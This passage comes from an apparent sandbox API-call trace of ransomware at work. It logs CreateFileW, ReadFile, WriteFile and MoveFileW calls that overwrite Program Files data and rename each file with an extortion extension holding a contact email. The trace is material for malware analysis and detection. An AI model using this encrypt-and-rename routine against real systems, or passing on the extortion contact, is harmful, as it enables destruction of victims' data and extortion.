lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x31002d, dwReserved1=0x390039, cFileName="msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJETX~1.FIR")) returned 0x6d4f00 [0203.131] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0203.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0203.132] GetProcessHeap () returned 0x630000 [0203.132] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7341) returned 0x7128660 [0203.132] GetProcessHeap () returned 0x630000 [0203.132] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7341) returned 0x6fdcf38 [0203.132] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.132] ReadFile (in: hFile=0x6c8, lpBuffer=0x7128660, nNumberOfBytesToRead=0x7320, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7128660*, lpNumberOfBytesRead=0x573ff0c*=0x7320, lpOverlapped=0x0) returned 1 [0207.430] GetProcessHeap () returned 0x630000 [0207.430] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0207.431] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.431] WriteFile (in: hFile=0x6c8, lpBuffer=0x6fdcf38*, nNumberOfBytesToWrite=0x7320, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesWritten=0x573ff0c*=0x7320, lpOverlapped=0x0) returned 1 [0207.638] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.638] WriteFile (in: hFile=0x6c8, lpBuffer=0x6fe4257*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe4257*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.638] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.639] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.639] CloseHandle (hObject=0x6c8) returned 1 [0207.639] GetProcessHeap () returned 0x630000 [0207.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0207.639] GetProcessHeap () returned 0x630000 [0207.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7128660 | out: hHeap=0x630000) returned 1 [0207.639] GetProcessHeap () returned 0x630000 [0207.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0207.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41b669c8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x735d, dwReserved0=0xa5c7496, dwReserved1=0x7128658, cFileName="msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJETX~1.FIR")) returned 0x6d5380 [0207.639] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0207.639] Sleep (dwMilliseconds=0x1) [0209.672] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG") returned 1 [0209.672] GetProcessHeap () returned 0x630000 [0209.672] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e24) returned 0x6fe4288 [0209.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0209.672] CloseHandle (hObject=0x69c) returned 1 [0209.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0209.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d52c0 [0209.673] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0209.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0209.674] GetProcessHeap () returned 0x630000 [0209.674] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x82e1) returned 0x72fecd8 [0209.674] GetProcessHeap () returned 0x630000 [0209.674] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x82e1) returned 0x7421008 [0209.674] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.674] ReadFile (in: hFile=0x69c, lpBuffer=0x72fecd8, nNumberOfBytesToRead=0x82c0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72fecd8*, lpNumberOfBytesRead=0x573ff0c*=0x82c0, lpOverlapped=0x0) returned 1 [0215.145] GetProcessHeap () returned 0x630000 [0215.145] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0215.145] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.145] WriteFile (in: hFile=0x69c, lpBuffer=0x7421008*, nNumberOfBytesToWrite=0x82c0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7421008*, lpNumberOfBytesWritten=0x573ff0c*=0x82c0, lpOverlapped=0x0) returned 1 [0215.146] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.146] WriteFile (in: hFile=0x69c, lpBuffer=0x74292c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74292c7*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.146] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.146] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.146] CloseHandle (hObject=0x69c) returned 1 [0215.146] GetProcessHeap () returned 0x630000 [0215.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7421008 | out: hHeap=0x630000) returned 1 [0215.146] GetProcessHeap () returned 0x630000 [0215.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72fecd8 | out: hHeap=0x630000) returned 1 [0215.146] GetProcessHeap () returned 0x630000 [0215.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0215.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x462ebdad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x82eb, dwReserved0=0xa5c7496, dwReserved1=0x72fecd0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0215.147] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0215.147] Sleep (dwMilliseconds=0x1) [0216.806] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml") returned 1 [0216.806] GetProcessHeap () returned 0x630000 [0216.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fb0) returned 0x74d7f88 [0216.806] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0216.807] CloseHandle (hObject=0x6a4) returned 1 [0216.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.807] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x234, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0216.810] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0216.810] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0216.810] GetProcessHeap () returned 0x630000 [0216.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0216.810] GetProcessHeap () returned 0x630000 [0216.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0216.810] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.810] ReadFile (in: hFile=0x6a4, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x573ff0c*=0x220, lpOverlapped=0x0) returned 1 [0216.814] GetProcessHeap () returned 0x630000 [0216.814] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0216.814] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.814] WriteFile (in: hFile=0x6a4, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x573ff0c*=0x220, lpOverlapped=0x0) returned 1 [0216.815] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.815] WriteFile (in: hFile=0x6a4, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.815] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.815] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.815] CloseHandle (hObject=0x6a4) returned 1 [0216.815] GetProcessHeap () returned 0x630000 [0216.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0216.815] GetProcessHeap () returned 0x630000 [0216.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0216.815] GetProcessHeap () returned 0x630000 [0216.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0216.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x472dd944, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0xa5c7496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e40 [0216.816] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0216.816] Sleep (dwMilliseconds=0x1) [0216.853] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x573ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml") returned 1 [0216.853] GetProcessHeap () returned 0x630000 [0216.853] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fa8) returned 0x74d7f88 [0216.853] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0216.854] CloseHandle (hObject=0x6cc) returned 1 [0216.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.854] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.855] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5440 [0216.855] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0216.855] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0216.855] GetProcessHeap () returned 0x630000 [0216.855] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dbb48 [0216.856] GetProcessHeap () returned 0x630000 [0216.856] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc910 [0216.856] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.856] ReadFile (in: hFile=0x6cc, lpBuffer=0x6dbb48, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbb48*, lpNumberOfBytesRead=0x573ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0216.858] GetProcessHeap () returned 0x630000 [0216.858] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0216.858] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.858] WriteFile (in: hFile=0x6cc, lpBuffer=0x6dc910*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc910*, lpNumberOfBytesWritten=0x573ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0216.859] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.859] WriteFile (in: hFile=0x6cc, lpBuffer=0x6dcacf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dcacf*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.859] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.859] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.859] CloseHandle (hObject=0x6cc) returned 1 [0216.859] GetProcessHeap () returned 0x630000 [0216.859] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc910 | out: hHeap=0x630000) returned 1 [0216.859] GetProcessHeap () returned 0x630000 [0216.859] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbb48 | out: hHeap=0x630000) returned 1 [0216.860] GetProcessHeap () returned 0x630000 [0216.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0216.860] 